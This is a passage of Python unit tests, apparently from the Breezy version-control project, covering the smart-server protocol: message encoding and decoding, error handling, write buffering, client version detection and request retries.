ConnectionResetError, response_handler.read_body_bytes)\n\n    def test_multiple_bytes_parts(self):\n        multiple_bytes_parts = (\n            b'oS'  # successful response\n            b's\\0\\0\\0\\x02le'  # empty args\n            b'b\\0\\0\\0\\x0bSome bytes\\n'  # some bytes\n            b'b\\0\\0\\0\\x0aMore bytes'  # more bytes\n            b'e'  # message end\n            )\n        response_handler = self.make_response_handler(multiple_bytes_parts)\n        self.assertEqual(\n            b'Some bytes\\nMore bytes', response_handler.read_body_bytes())\n        response_handler = self.make_response_handler(multiple_bytes_parts)\n        self.assertEqual(\n            [b'Some bytes\\n', b'More bytes'],\n            list(response_handler.read_streamed_body()))\n\n\nclass FakeResponder:\n\n    response_sent = False\n\n    def send_error(self, exc):\n        raise exc\n\n    def send_response(self, response):\n        pass\n\n\nclass TestConventionalRequestHandlerBodyStream(tests.TestCase):\n    \"\"\"Tests for ConventionalRequestHandler's handling of request bodies.\"\"\"\n\n    def make_request_handler(self, request_bytes):\n        \"\"\"Make a ConventionalRequestHandler for the given bytes using test\n        doubles for the request_handler and the responder.\n        \"\"\"\n        from ..smart.message import ConventionalRequestHandler\n        request_handler = InstrumentedRequestHandler()\n        request_handler.response = _mod_request.SuccessfulSmartServerResponse(\n            (b'arg', b'arg'))\n        responder = FakeResponder()\n        message_handler = ConventionalRequestHandler(\n            request_handler, responder)\n        protocol_decoder = protocol.ProtocolThreeDecoder(message_handler)\n        # put decoder in desired state (waiting for message parts)\n        protocol_decoder.state_accept = protocol_decoder._state_accept_expecting_message_part\n        protocol_decoder.accept_bytes(request_bytes)\n        return request_handler\n\n    def test_multiple_bytes_parts(self):\n        \"\"\"Each bytes part triggers a call to the request_handler's\n        accept_body method.\n        \"\"\"\n        multiple_bytes_parts = (\n            b's\\0\\0\\0\\x07l3:fooe'  # args\n            b'b\\0\\0\\0\\x0bSome bytes\\n'  # some bytes\n            b'b\\0\\0\\0\\x0aMore bytes'  # more bytes\n            b'e'  # message end\n            )\n        request_handler = self.make_request_handler(multiple_bytes_parts)\n        accept_body_calls = [\n            call_info[1] for call_info in request_handler.calls\n            if call_info[0] == 'accept_body']\n        self.assertEqual(\n            [b'Some bytes\\n', b'More bytes'], accept_body_calls)\n\n    def test_error_flag_after_body(self):\n        body_then_error = (\n            b's\\0\\0\\0\\x07l3:fooe'  # request args\n            b'b\\0\\0\\0\\x0bSome bytes\\n'  # some bytes\n            b'b\\0\\0\\0\\x0aMore bytes'  # more bytes\n            b'oE'  # error flag\n            b's\\0\\0\\0\\x07l3:bare'  # error args\n            b'e'  # message end\n            )\n        request_handler = self.make_request_handler(body_then_error)\n        self.assertEqual(\n            [('post_body_error_received', (b'bar',)), ('end_received',)],\n            request_handler.calls[-2:])\n\n\nclass TestMessageHandlerErrors(tests.TestCase):\n    \"\"\"Tests for v3 that unrecognised (but well-formed) requests/responses are\n    still fully read off the wire, so that subsequent requests/responses on the\n    same medium can be decoded.\n    \"\"\"\n\n    def test_non_conventional_request(self):\n        \"\"\"ConventionalRequestHandler (the default message handler on the\n        server side) will reject an unconventional message, but still consume\n        all the bytes of that message and signal when it has done so.\n\n        This is what allows a server to continue to accept requests after the\n        client sends a completely unrecognised request.\n        \"\"\"\n        # Define an invalid request (but one that is a well-formed message).\n        # This particular invalid request not only lacks the mandatory\n        # verb+args tuple, it has a single-byte part, which is forbidden.  In\n        # fact it has that part twice, to trigger multiple errors.\n        invalid_request = (\n            protocol.MESSAGE_VERSION_THREE  # protocol version marker\n            + b'\\0\\0\\0\\x02de'  # empty headers\n            + b'oX' +  # a single byte part: 'X'.  ConventionalRequestHandler will\n            # error at this part.\n            b'oX' +  # and again.\n            b'e'  # end of message\n            )\n\n        to_server = BytesIO(invalid_request)\n        from_server = BytesIO()\n        transport = memory.MemoryTransport('memory:///')\n        server = medium.SmartServerPipeStreamMedium(\n            to_server, from_server, transport, timeout=4.0)\n        proto = server._build_protocol()\n        server._serve_one_request(proto)\n        # All the bytes have been read from the medium...\n        self.assertEqual(b'', to_server.read())\n        # ...and the protocol decoder has consumed all the bytes, and has\n        # finished reading.\n        self.assertEqual(b'', proto.unused_data)\n        self.assertEqual(0, proto.next_read_size())\n\n\nclass InstrumentedRequestHandler:\n    \"\"\"Test Double of SmartServerRequestHandler.\"\"\"\n\n    def __init__(self):\n        self.calls = []\n        self.finished_reading = False\n\n    def no_body_received(self):\n        self.calls.append(('no_body_received',))\n\n    def end_received(self):\n        self.calls.append(('end_received',))\n        self.finished_reading = True\n\n    def args_received(self, args):\n        self.calls.append(('args_received', args))\n\n    def accept_body(self, bytes):\n        self.calls.append(('accept_body', bytes))\n\n    def end_of_body(self):\n        self.calls.append(('end_of_body',))\n        self.finished_reading = True\n\n    def post_body_error_received(self, error_args):\n        self.calls.append(('post_body_error_received', error_args))\n\n\nclass StubRequest:\n\n    def finished_reading(self):\n        pass\n\n\nclass TestClientDecodingProtocolThree(TestSmartProtocol):\n    \"\"\"Tests for v3 of the client-side protocol decoding.\"\"\"\n\n    def make_logging_response_decoder(self):\n        \"\"\"Make v3 response decoder using a test response handler.\"\"\"\n        response_handler = LoggingMessageHandler()\n        decoder = protocol.ProtocolThreeDecoder(response_handler)\n        return decoder, response_handler\n\n    def make_conventional_response_decoder(self):\n        \"\"\"Make v3 response decoder using a conventional response handler.\"\"\"\n        response_handler = message.ConventionalResponseHandler()\n        decoder = protocol.ProtocolThreeDecoder(response_handler)\n        response_handler.setProtoAndMediumRequest(decoder, StubRequest())\n        return decoder, response_handler\n\n    def test_trivial_response_decoding(self):\n        \"\"\"Smoke test for the simplest possible v3 response: empty headers,\n        status byte, empty args, no body.\n        \"\"\"\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        response_status = b'oS'  # success\n        args = b's\\0\\0\\0\\x02le'  # length-prefixed, bencoded empty list\n        end = b'e'  # end marker\n        message_bytes = headers + response_status + args + end\n        decoder, response_handler = self.make_logging_response_decoder()\n        decoder.accept_bytes(message_bytes)\n        # The protocol decoder has finished, and consumed all bytes\n        self.assertEqual(0, decoder.next_read_size())\n        self.assertEqual(b'', decoder.unused_data)\n        # The message handler has been invoked with all the parts of the\n        # trivial response: empty headers, status byte, no args, end.\n        self.assertEqual(\n            [('headers', {}), ('byte', b'S'), ('structure', ()), ('end',)],\n            response_handler.event_log)\n\n    def test_incomplete_message(self):\n        \"\"\"A decoder will keep signalling that it needs more bytes via\n        next_read_size() != 0 until it has seen a complete message, regardless\n        which state it is in.\n        \"\"\"\n        # Define a simple response that uses all possible message parts.\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        response_status = b'oS'  # success\n        args = b's\\0\\0\\0\\x02le'  # length-prefixed, bencoded empty list\n        body = b'b\\0\\0\\0\\x04BODY'  # a body: 'BODY'\n        end = b'e'  # end marker\n        simple_response = headers + response_status + args + body + end\n        # Feed the request to the decoder one byte at a time.\n        decoder, response_handler = self.make_logging_response_decoder()\n        for byte in bytearray(simple_response):\n            self.assertNotEqual(0, decoder.next_read_size())\n            decoder.accept_bytes(bytes([byte]))\n        # Now the response is complete\n        self.assertEqual(0, decoder.next_read_size())\n\n    def test_read_response_tuple_raises_UnknownSmartMethod(self):\n        \"\"\"read_response_tuple raises UnknownSmartMethod if the server replied\n        with 'UnknownMethod'.\n        \"\"\"\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        response_status = b'oE'  # error flag\n        # args: (b'UnknownMethod', 'method-name')\n        args = b's\\0\\0\\0\\x20l13:UnknownMethod11:method-namee'\n        end = b'e'  # end marker\n        message_bytes = headers + response_status + args + end\n        decoder, response_handler = self.make_conventional_response_decoder()\n        decoder.accept_bytes(message_bytes)\n        error = self.assertRaises(\n            errors.UnknownSmartMethod, response_handler.read_response_tuple)\n        self.assertEqual(b'method-name', error.verb)\n\n    def test_read_response_tuple_error(self):\n        \"\"\"If the response has an error, it is raised as an exception.\"\"\"\n        headers = b'\\0\\0\\0\\x02de'  # length-prefixed, bencoded empty dict\n        response_status = b'oE'  # error\n        args = b's\\0\\0\\0\\x1al9:first arg10:second arge'  # two args\n        end = b'e'  # end marker\n        message_bytes = headers + response_status + args + end\n        decoder, response_handler = self.make_conventional_response_decoder()\n        decoder.accept_bytes(message_bytes)\n        error = self.assertRaises(\n            errors.ErrorFromSmartServer, response_handler.read_response_tuple)\n        self.assertEqual((b'first arg', b'second arg'), error.error_tuple)\n\n\nclass TestClientEncodingProtocolThree(TestSmartProtocol):\n\n    request_encoder = protocol.ProtocolThreeRequester\n    response_decoder = protocol.ProtocolThreeDecoder\n    server_protocol_class = protocol.ProtocolThreeDecoder  # type: ignore\n\n    def make_client_encoder_and_output(self):\n        result = self.make_client_protocol_and_output()\n        requester, response_handler, output = result\n        return requester, output\n\n    def test_call_smoke_test(self):\n        \"\"\"A smoke test for ProtocolThreeRequester.call.\n\n        This test checks that a particular simple invocation of call emits the\n        correct bytes for that invocation.\n        \"\"\"\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({b'header name': b'header value'})\n        requester.call(b'one arg')\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x1fd11:header name12:header valuee'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            b'e',  # end\n            output.getvalue())\n\n    def test_call_with_body_bytes_smoke_test(self):\n        \"\"\"A smoke test for ProtocolThreeRequester.call_with_body_bytes.\n\n        This test checks that a particular simple invocation of\n        call_with_body_bytes emits the correct bytes for that invocation.\n        \"\"\"\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({b'header name': b'header value'})\n        requester.call_with_body_bytes((b'one arg',), b'body bytes')\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x1fd11:header name12:header valuee'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            b'b'  # there is a prefixed body\n            b'\\x00\\x00\\x00\\nbody bytes'  # the prefixed body\n            b'e',  # end\n            output.getvalue())\n\n    def test_call_writes_just_once(self):\n        \"\"\"A bodyless request is written to the medium all at once.\"\"\"\n        medium_request = StubMediumRequest()\n        encoder = protocol.ProtocolThreeRequester(medium_request)\n        encoder.call(b'arg1', b'arg2', b'arg3')\n        self.assertEqual(\n            ['accept_bytes', 'finished_writing'], medium_request.calls)\n\n    def test_call_with_body_bytes_writes_just_once(self):\n        \"\"\"A request with body bytes is written to the medium all at once.\"\"\"\n        medium_request = StubMediumRequest()\n        encoder = protocol.ProtocolThreeRequester(medium_request)\n        encoder.call_with_body_bytes((b'arg', b'arg'), b'body bytes')\n        self.assertEqual(\n            ['accept_bytes', 'finished_writing'], medium_request.calls)\n\n    def test_call_with_body_stream_smoke_test(self):\n        \"\"\"A smoke test for ProtocolThreeRequester.call_with_body_stream.\n\n        This test checks that a particular simple invocation of\n        call_with_body_stream emits the correct bytes for that invocation.\n        \"\"\"\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({b'header name': b'header value'})\n        stream = [b'chunk 1', b'chunk two']\n        requester.call_with_body_stream((b'one arg',), stream)\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x1fd11:header name12:header valuee'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            b'b\\x00\\x00\\x00\\x07chunk 1'  # a prefixed body chunk\n            b'b\\x00\\x00\\x00\\x09chunk two'  # a prefixed body chunk\n            b'e',  # end\n            output.getvalue())\n\n    def test_call_with_body_stream_empty_stream(self):\n        \"\"\"call_with_body_stream with an empty stream.\"\"\"\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({})\n        stream = []\n        requester.call_with_body_stream((b'one arg',), stream)\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x02de'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            # no body chunks\n            b'e',  # end\n            output.getvalue())\n\n    def test_call_with_body_stream_error(self):\n        \"\"\"call_with_body_stream will abort the streamed body with an\n        error if the stream raises an error during iteration.\n\n        The resulting request will still be a complete message.\n        \"\"\"\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({})\n\n        def stream_that_fails():\n            yield b'aaa'\n            yield b'bbb'\n            raise Exception('Boom!')\n        self.assertRaises(Exception, requester.call_with_body_stream,\n                          (b'one arg',), stream_that_fails())\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x02de'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            b'b\\x00\\x00\\x00\\x03aaa'  # body\n            b'b\\x00\\x00\\x00\\x03bbb'  # more body\n            b'oE'  # error flag\n            b's\\x00\\x00\\x00\\x09l5:errore'  # error args: ('error',)\n            b'e',  # end\n            output.getvalue())\n\n    def test_records_start_of_body_stream(self):\n        requester, output = self.make_client_encoder_and_output()\n        requester.set_headers({})\n        in_stream = [False]\n\n        def stream_checker():\n            self.assertTrue(requester.body_stream_started)\n            in_stream[0] = True\n            yield b'content'\n        flush_called = []\n        orig_flush = requester.flush\n\n        def tracked_flush():\n            flush_called.append(in_stream[0])\n            if in_stream[0]:\n                self.assertTrue(requester.body_stream_started)\n            else:\n                self.assertFalse(requester.body_stream_started)\n            return orig_flush()\n        requester.flush = tracked_flush\n        requester.call_with_body_stream((b'one arg',), stream_checker())\n        self.assertEqual(\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol version\n            b'\\x00\\x00\\x00\\x02de'  # headers\n            b's\\x00\\x00\\x00\\x0bl7:one arge'  # args\n            b'b\\x00\\x00\\x00\\x07content'  # body\n            b'e', output.getvalue())\n        self.assertEqual([False, True, True], flush_called)\n\n\nclass StubMediumRequest:\n    \"\"\"A stub medium request that tracks the number of times accept_bytes is\n    called.\n    \"\"\"\n\n    def __init__(self):\n        self.calls = []\n        self._medium = 'dummy medium'\n\n    def accept_bytes(self, bytes):\n        self.calls.append('accept_bytes')\n\n    def finished_writing(self):\n        self.calls.append('finished_writing')\n\n\ninterrupted_body_stream = (\n    b'oS'  # status flag (success)\n    b's\\x00\\x00\\x00\\x08l4:argse'  # args struct ('args,')\n    b'b\\x00\\x00\\x00\\x03aaa'  # body part ('aaa')\n    b'b\\x00\\x00\\x00\\x03bbb'  # body part ('bbb')\n    b'oE'  # status flag (error)\n    # err struct ('error', 'Exception', 'Boom!')\n    b's\\x00\\x00\\x00\\x1bl5:error9:Exception5:Boom!e'\n    b'e'  # EOM\n    )\n\n\nclass TestResponseEncodingProtocolThree(tests.TestCase):\n\n    def make_response_encoder(self):\n        out_stream = BytesIO()\n        response_encoder = protocol.ProtocolThreeResponder(out_stream.write)\n        return response_encoder, out_stream\n\n    def test_send_error_unknown_method(self):\n        encoder, out_stream = self.make_response_encoder()\n        encoder.send_error(errors.UnknownSmartMethod('method name'))\n        # Use assertEndsWith so that we don't compare the header, which varies\n        # by breezy.__version__.\n        self.assertEndsWith(\n            out_stream.getvalue(),\n            # error status\n            b'oE' +\n            # tuple: 'UnknownMethod', 'method name'\n            b's\\x00\\x00\\x00\\x20l13:UnknownMethod11:method namee'\n            # end of message\n            b'e')\n\n    def test_send_broken_body_stream(self):\n        encoder, out_stream = self.make_response_encoder()\n        encoder._headers = {}\n\n        def stream_that_fails():\n            yield b'aaa'\n            yield b'bbb'\n            raise Exception('Boom!')\n        response = _mod_request.SuccessfulSmartServerResponse(\n            (b'args',), body_stream=stream_that_fails())\n        encoder.send_response(response)\n        expected_response = (\n            b'bzr message 3 (bzr 1.6)\\n'  # protocol marker\n            b'\\x00\\x00\\x00\\x02de'  # headers dict (empty)\n            + interrupted_body_stream)\n        self.assertEqual(expected_response, out_stream.getvalue())\n\n\nclass TestResponseEncoderBufferingProtocolThree(tests.TestCase):\n    \"\"\"Tests for buffering of responses.\n\n    We want to avoid doing many small writes when one would do, to avoid\n    unnecessary network overhead.\n    \"\"\"\n\n    def setUp(self):\n        super().setUp()\n        self.writes = []\n        self.responder = protocol.ProtocolThreeResponder(self.writes.append)\n\n    def assertWriteCount(self, expected_count):\n        # self.writes can be quite large; don't show the whole thing\n        self.assertEqual(\n            expected_count, len(self.writes),\n            \"Too many writes: %d, expected %d\" % (len(self.writes), expected_count))\n\n    def test_send_error_writes_just_once(self):\n        \"\"\"An error response is written to the medium all at once.\"\"\"\n        self.responder.send_error(Exception('An exception string.'))\n        self.assertWriteCount(1)\n\n    def test_send_response_writes_just_once(self):\n        \"\"\"A normal response with no body is written to the medium all at once.\"\"\"\n        response = _mod_request.SuccessfulSmartServerResponse((b'arg', b'arg'))\n        self.responder.send_response(response)\n        self.assertWriteCount(1)\n\n    def test_send_response_with_body_writes_just_once(self):\n        \"\"\"A normal response with a monolithic body is written to the medium\n        all at once.\n        \"\"\"\n        response = _mod_request.SuccessfulSmartServerResponse(\n            (b'arg', b'arg'), body=b'body bytes')\n        self.responder.send_response(response)\n        self.assertWriteCount(1)\n\n    def test_send_response_with_body_stream_buffers_writes(self):\n        \"\"\"A normal response with a stream body writes to the medium once.\"\"\"\n        # Construct a response with stream with 2 chunks in it.\n        response = _mod_request.SuccessfulSmartServerResponse(\n            (b'arg', b'arg'), body_stream=[b'chunk1', b'chunk2'])\n        self.responder.send_response(response)\n        # Per the discussion in bug 590638 we flush once after the header and\n        # then once after each chunk\n        self.assertWriteCount(3)\n\n\nclass TestSmartClientUnicode(tests.TestCase):\n    \"\"\"_SmartClient tests for unicode arguments.\n\n    Unicode arguments to call_with_body_bytes are not correct (remote method\n    names, arguments, and bodies must all be expressed as byte strings), but\n    _SmartClient should gracefully reject them, rather than getting into a\n    broken state that prevents future correct calls from working.  That is, it\n    should be possible to issue more requests on the medium afterwards, rather\n    than allowing one bad call to call_with_body_bytes to cause later calls to\n    mysteriously fail with TooManyConcurrentRequests.\n    \"\"\"\n\n    def assertCallDoesNotBreakMedium(self, method, args, body):\n        \"\"\"Call a medium with the given method, args and body, then assert that\n        the medium is left in a sane state, i.e. is capable of allowing further\n        requests.\n        \"\"\"\n        input = BytesIO(b\"\\n\")\n        output = BytesIO()\n        client_medium = medium.SmartSimplePipesClientMedium(\n            input, output, 'ignored base')\n        smart_client = client._SmartClient(client_medium)\n        self.assertRaises(TypeError,\n                          smart_client.call_with_body_bytes, method, args, body)\n        self.assertEqual(b\"\", output.getvalue())\n        self.assertEqual(None, client_medium._current_request)\n\n    def test_call_with_body_bytes_unicode_method(self):\n        self.assertCallDoesNotBreakMedium('method', (b'args',), b'body')\n\n    def test_call_with_body_bytes_unicode_args(self):\n        self.assertCallDoesNotBreakMedium(b'method', ('args',), b'body')\n        self.assertCallDoesNotBreakMedium(\n            b'method', (b'arg1', 'arg2'), b'body')\n\n    def test_call_with_body_bytes_unicode_body(self):\n        self.assertCallDoesNotBreakMedium(b'method', (b'args',), 'body')\n\n\nclass MockMedium(medium.SmartClientMedium):\n    \"\"\"A mock medium that can be used to test _SmartClient.\n\n    It can be given a series of requests to expect (and responses it should\n    return for them).  It can also be told when the client is expected to\n    disconnect a medium.  Expectations must be satisfied in the order they are\n    given, or else an AssertionError will be raised.\n\n    Typical use looks like::\n\n        medium = MockMedium()\n        medium.expect_request(...)\n        medium.expect_request(...)\n        medium.expect_request(...)\n    \"\"\"\n\n    def __init__(self):\n        super().__init__('dummy base')\n        self._mock_request = _MockMediumRequest(self)\n        self._expected_events = []\n\n    def expect_request(self, request_bytes, response_bytes,\n                       allow_partial_read=False):\n        \"\"\"Expect 'request_bytes' to be sent, and reply with 'response_bytes'.\n\n        No assumption is made about how many times accept_bytes should be\n        called to send the request.  Similarly, no assumption is made about how\n        many times read_bytes/read_line are called by protocol code to read a\n        response.  e.g.::\n\n            request.accept_bytes(b'ab')\n            request.accept_bytes(b'cd')\n            request.finished_writing()\n\n        and::\n\n            request.accept_bytes(b'abcd')\n            request.finished_writing()\n\n        Will both satisfy ``medium.expect_request('abcd', ...)``.  Thus tests\n        using this should not break due to irrelevant changes in protocol\n        implementations.\n\n        :param allow_partial_read: if True, no assertion is raised if a\n            response is not fully read.  Setting this is useful when the client\n            is expected to disconnect without needing to read the complete\n            response.  Default is False.\n        \"\"\"\n        self._expected_events.append(('send request', request_bytes))\n        if allow_partial_read:\n            self._expected_events.append(\n                ('read response (partial)', response_bytes))\n        else:\n            self._expected_events.append(('read response', response_bytes))\n\n    def expect_disconnect(self):\n        \"\"\"Expect the client to call ``medium.disconnect()``.\"\"\"\n        self._expected_events.append('disconnect')\n\n    def _assertEvent(self, observed_event):\n        \"\"\"Raise AssertionError unless observed_event matches the next expected\n        event.\n\n        :seealso: expect_request\n        :seealso: expect_disconnect\n        \"\"\"\n        try:\n            expected_event = self._expected_events.pop(0)\n        except IndexError as e:\n            raise AssertionError(\n                'Mock medium observed event %r, but no more events expected'\n                % (observed_event,)) from e\n        if expected_event[0] == 'read response (partial)':\n            if observed_event[0] != 'read response':\n                raise AssertionError(\n                    'Mock medium observed event %r, but expected event %r'\n                    % (observed_event, expected_event))\n        elif observed_event != expected_event:\n            raise AssertionError(\n                'Mock medium observed event %r, but expected event %r'\n                % (observed_event, expected_event))\n        if self._expected_events:\n            next_event = self._expected_events[0]\n            if next_event[0].startswith('read response'):\n                self._mock_request._response = next_event[1]\n\n    def get_request(self):\n        return self._mock_request\n\n    def disconnect(self):\n        if self._mock_request._read_bytes:\n            self._assertEvent(\n                ('read response', self._mock_request._read_bytes))\n            self._mock_request._read_bytes = b''\n        self._assertEvent('disconnect')\n\n\nclass _MockMediumRequest:\n    \"\"\"A mock ClientMediumRequest used by MockMedium.\"\"\"\n\n    def __init__(self, mock_medium):\n        self._medium = mock_medium\n        self._written_bytes = b''\n        self._read_bytes = b''\n        self._response = None\n\n    def accept_bytes(self, bytes):\n        self._written_bytes += bytes\n\n    def finished_writing(self):\n        self._medium._assertEvent(('send request', self._written_bytes))\n        self._written_bytes = b''\n\n    def finished_reading(self):\n        self._medium._assertEvent(('read response', self._read_bytes))\n        self._read_bytes = b''\n\n    def read_bytes(self, size):\n        resp = self._response\n        bytes, resp = resp[:size], resp[size:]\n        self._response = resp\n        self._read_bytes += bytes\n        return bytes\n\n    def read_line(self):\n        resp = self._response\n        try:\n            line, resp = resp.split(b'\\n', 1)\n            line += b'\\n'\n        except ValueError:\n            line, resp = resp, b''\n        self._response = resp\n        self._read_bytes += line\n        return line\n\n\nclass Test_SmartClientVersionDetection(tests.TestCase):\n    \"\"\"Tests for _SmartClient's automatic protocol version detection.\n\n    On the first remote call, _SmartClient will keep retrying the request with\n    different protocol versions until it finds one that works.\n    \"\"\"\n\n    def test_version_three_server(self):\n        \"\"\"With a protocol 3 server, only one request is needed.\"\"\"\n        medium = MockMedium()\n        smart_client = client._SmartClient(medium, headers={})\n        message_start = protocol.MESSAGE_VERSION_THREE + b'\\x00\\x00\\x00\\x02de'\n        medium.expect_request(\n            message_start\n            + b's\\x00\\x00\\x00\\x1el11:method-name5:arg 15:arg 2ee',\n            message_start + b's\\0\\0\\0\\x13l14:response valueee')\n        result = smart_client.call(b'method-name', b'arg 1', b'arg 2')\n        # The call succeeded without raising any exceptions from the mock\n        # medium, and the smart_client returns the response from the server.\n        self.assertEqual((b'response value',), result)\n        self.assertEqual([], medium._expected_events)\n        # Also, the v3 works then the server should be assumed to support RPCs\n        # introduced in 1.6.\n        self.assertFalse(medium._is_remote_before((1, 6)))\n\n    def test_version_two_server(self):\n        \"\"\"If the server only speaks protocol 2, the client will first try\n        version 3, then fallback to protocol 2.\n\n        Further, _SmartClient caches the detection, so future requests will all\n        use protocol 2 immediately.\n        \"\"\"\n        medium = MockMedium()\n        smart_client = client._SmartClient(medium, headers={})\n        # First the client should send a v3 request, but the server will reply\n        # with a v2 error.\n        medium.expect_request(\n            b'bzr message 3 (bzr 1.6)\\n\\x00\\x00\\x00\\x02de'\n            + b's\\x00\\x00\\x00\\x1el11:method-name5:arg 15:arg 2ee',\n            b'bzr response 2\\nfailed\\n\\n')\n        # So then the client should disconnect to reset the connection, because\n        # the client needs to assume the server cannot read any further\n        # requests off the original connection.\n        medium.expect_disconnect()\n        # The client should then retry the original request in v2\n        medium.expect_request(\n            b'bzr request 2\\nmethod-name\\x01arg 1\\x01arg 2\\n',\n            b'bzr response 2\\nsuccess\\nresponse value\\n')\n        result = smart_client.call(b'method-name', b'arg 1', b'arg 2')\n        # The smart_client object will return the result of the successful\n        # query.\n        self.assertEqual((b'response value',), result)\n\n        # Now try another request, and this time the client will just use\n        # protocol 2.  (i.e. the autodetection won't be repeated)\n        medium.expect_request(\n            b'bzr request 2\\nanother-method\\n',\n            b'bzr response 2\\nsuccess\\nanother response\\n')\n        result = smart_client.call(b'another-method')\n        self.assertEqual((b'another response',), result)\n        self.assertEqual([], medium._expected_events)\n\n        # Also, because v3 is not supported, the client medium should assume\n        # that RPCs introduced in 1.6 aren't supported either.\n        self.assertTrue(medium._is_remote_before((1, 6)))\n\n    def test_unknown_version(self):\n        \"\"\"If the server does not use any known (or at least supported)\n        protocol version, a SmartProtocolError is raised.\n        \"\"\"\n        medium = MockMedium()\n        smart_client = client._SmartClient(medium, headers={})\n        unknown_protocol_bytes = b'Unknown protocol!'\n        # The client will try v3 and v2 before eventually giving up.\n        medium.expect_request(\n            b'bzr message 3 (bzr 1.6)\\n\\x00\\x00\\x00\\x02de'\n            + b's\\x00\\x00\\x00\\x1el11:method-name5:arg 15:arg 2ee',\n            unknown_protocol_bytes)\n        medium.expect_disconnect()\n        medium.expect_request(\n            b'bzr request 2\\nmethod-name\\x01arg 1\\x01arg 2\\n',\n            unknown_protocol_bytes)\n        medium.expect_disconnect()\n        self.assertRaises(\n            errors.SmartProtocolError,\n            smart_client.call, b'method-name', b'arg 1', b'arg 2')\n        self.assertEqual([], medium._expected_events)\n\n    def test_first_response_is_error(self):\n        \"\"\"If the server replies with an error, then the version detection\n        should be complete.\n\n        This test is very similar to test_version_two_server, but catches a bug\n        we had in the case where the first reply was an error response.\n        \"\"\"\n        medium = MockMedium()\n        smart_client = client._SmartClient(medium, headers={})\n        message_start = protocol.MESSAGE_VERSION_THREE + b'\\x00\\x00\\x00\\x02de'\n        # Issue a request that gets an error reply in a non-default protocol\n        # version.\n        medium.expect_request(\n            message_start\n            + b's\\x00\\x00\\x00\\x10l11:method-nameee',\n            b'bzr response 2\\nfailed\\n\\n')\n        medium.expect_disconnect()\n        medium.expect_request(\n            b'bzr request 2\\nmethod-name\\n',\n            b'bzr response 2\\nfailed\\nFooBarError\\n')\n        err = self.assertRaises(\n            errors.ErrorFromSmartServer,\n            smart_client.call, b'method-name')\n        self.assertEqual((b'FooBarError',), err.error_tuple)\n        # Now the medium should have remembered the protocol version, so\n        # subsequent requests will use the remembered version immediately.\n        medium.expect_request(\n            b'bzr request 2\\nmethod-name\\n',\n            b'bzr response 2\\nsuccess\\nresponse value\\n')\n        result = smart_client.call(b'method-name')\n        self.assertEqual((b'response value',), result)\n        self.assertEqual([], medium._expected_events)\n\n\nclass Test_SmartClient(tests.TestCase):\n\n    def test_call_default_headers(self):\n        \"\"\"ProtocolThreeRequester.call by default sends a 'Software\n        version' header.\n        \"\"\"\n        smart_client = client._SmartClient('dummy medium')\n        self.assertEqual(\n            breezy.__version__.encode('utf-8'),\n            smart_client._headers[b'Software version'])\n        # XXX: need a test that smart_client._headers is passed to the request\n        # encoder.\n\n\nclass Test_SmartClientRequest(tests.TestCase):\n\n    def make_client_with_failing_medium(self, fail_at_write=True, response=b''):\n        response_io = BytesIO(response)\n        output = BytesIO()\n        vendor = FirstRejectedBytesIOSSHVendor(response_io, output,\n                                               fail_at_write=fail_at_write)\n        ssh_params = medium.SSHParams('a host', 'a port', 'a user', 'a pass')\n        client_medium = medium.SmartSSHClientMedium('base', ssh_params, vendor)\n        smart_client = client._SmartClient(client_medium, headers={})\n        return output, vendor, smart_client\n\n    def make_response(self, args, body=None, body_stream=None):\n        response_io = BytesIO()\n        response = _mod_request.SuccessfulSmartServerResponse(args, body=body,\n                                                              body_stream=body_stream)\n        responder = protocol.ProtocolThreeResponder(response_io.write)\n        responder.send_response(response)\n        return response_io.getvalue()\n\n    def test__call_doesnt_retry_append(self):\n        response = self.make_response(('appended', b'8'))\n        output, vendor, smart_client = self.make_client_with_failing_medium(\n            fail_at_write=False, response=response)\n        smart_request = client._SmartClientRequest(smart_client, b'append',\n                                                   (b'foo', b''), body=b'content\\n')\n        self.assertRaises(ConnectionResetError, smart_request._call, 3)\n\n    def test__call_retries_get_bytes(self):\n        response = self.make_response((b'ok',), b'content\\n')\n        output, vendor, smart_client = self.make_client_with_failing_medium(\n            fail_at_write=False, response=response)\n        smart_request = client._SmartClientRequest(smart_client, b'get',\n                                                   (b'foo',))\n        response, response_handler = smart_request._call(3)\n        self.assertEqual((b'ok',), response)\n        self.assertEqual(b'content\\n', response_handler.read_body_bytes())\n\n    def test__call_noretry_get_bytes(self):\n        debug.set_debug_flag('noretry')\n        response = self.make_response((b'ok',), b'content\\n')\n        output, vendor, smart_client = self.make_client_with_failing_medium(\n            fail_at_write=False, response=response)\n        smart_request = client._SmartClientRequest(smart_client, b'get',\n                                                   (b'foo',))\n        self.assertRaises(ConnectionResetError, smart_request._call, 3)\n\n    def test__send_no_retry_pipes(self):\n        client_read, server_write = create_file_pipes()\n        server_read, client_write = create_file_pipes()\n        client_medium = medium.SmartSimplePipesClientMedium(client_read,\n                                                            client_write, base='/')\n        smart_client = client._SmartClient(client_medium)\n        smart_request = client._SmartClientRequest(smart_client,\n                                                   b'hello', ())\n        # Close the server side\n        server_read.close()\n        encoder, response_handler = 